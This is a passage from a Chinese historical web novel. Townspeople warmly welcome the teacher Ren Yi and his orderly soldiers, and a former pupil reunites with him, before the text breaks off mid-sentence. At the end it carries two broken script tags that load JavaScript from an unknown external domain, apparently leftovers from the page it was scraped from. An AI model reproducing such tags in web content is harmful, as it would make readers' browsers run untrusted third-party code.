这和之前那些进城就烧杀抢掠的乱兵,和那些耀武扬威、随意打骂百姓的曹军,完全是两个样子。
围在街道两边的百姓们,原本还提着的心,瞬间就彻底放了下来。
不知道是谁先带头,把手里的一篮子鸡蛋往队伍前面递。
紧接着,越来越多的百姓涌了上来。
有提着一篮子鸡蛋的大娘,挤到任弋面前,把鸡蛋往他手里塞,嘴里不停念叨着,任先生辛苦了,快拿着,吃个鸡蛋补补身子。大娘的手很粗糙,布满了老茧,鸡蛋却擦得干干净净,还带着体温。
有抱着孩子的妇人,把一个布包递过来,里面是两双连夜纳的布鞋,针脚密密麻麻,纳得格外结实。妇人红着脸说,这是给任先生和士兵们做的,走路合脚。
还有半大的孩子,举着刚从路边采的野花,踮着脚往士兵手里塞,眼睛亮晶晶的,嘴里喊着叔叔好。
王长林挤在人群里,看着前面那个熟悉又有些陌生的身影,鼻子一下子就酸了。
任先生还是老样子。
他弯着腰,接过老人递过来的东西,认认真真地道谢。还伸手摸了摸凑过来的孩子的头,笑着跟孩子说话,一点架子都没有。遇到腿脚不便的老人,他还会伸手扶一把,轻声问老人家身体好不好。
他用尽全身力气往前挤,被人流推得东倒西歪,怀里的油纸包都快被挤扁了。终于,他挤到了最前面,正好任弋走到了他面前。
王长林再也忍不住,把怀里用油纸包好的米饼和肉干递了过去,声音都带着抖。
“任先生!您还记得我吗?我是王家村的王长林!以前在村里的夜校,听过您的课!您教我认的字,教我算的账!”
任弋接过油纸包,指尖碰到了还带着余温的米饼,抬眼看向他,眼里瞬间露出了笑意,点了点头,声音温和得很。
“记得,怎么不记得。当年你算账最快,每次我出的题,你都是第一个算出来的,作业也总是第一个交。怎么,现在米铺开得还顺利吗?”
王长林的眼泪一下子就掉了下来,咧着嘴笑,话都说不连贯了,只知道一个劲地点头。
周围的百姓们还在往前涌,嘴里不停喊着任先生,喊着刘使君。还有不少年轻力壮的小伙子,挤到队伍最前面,扯着嗓子喊,说要跟着任先生干,要参军,要跟
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">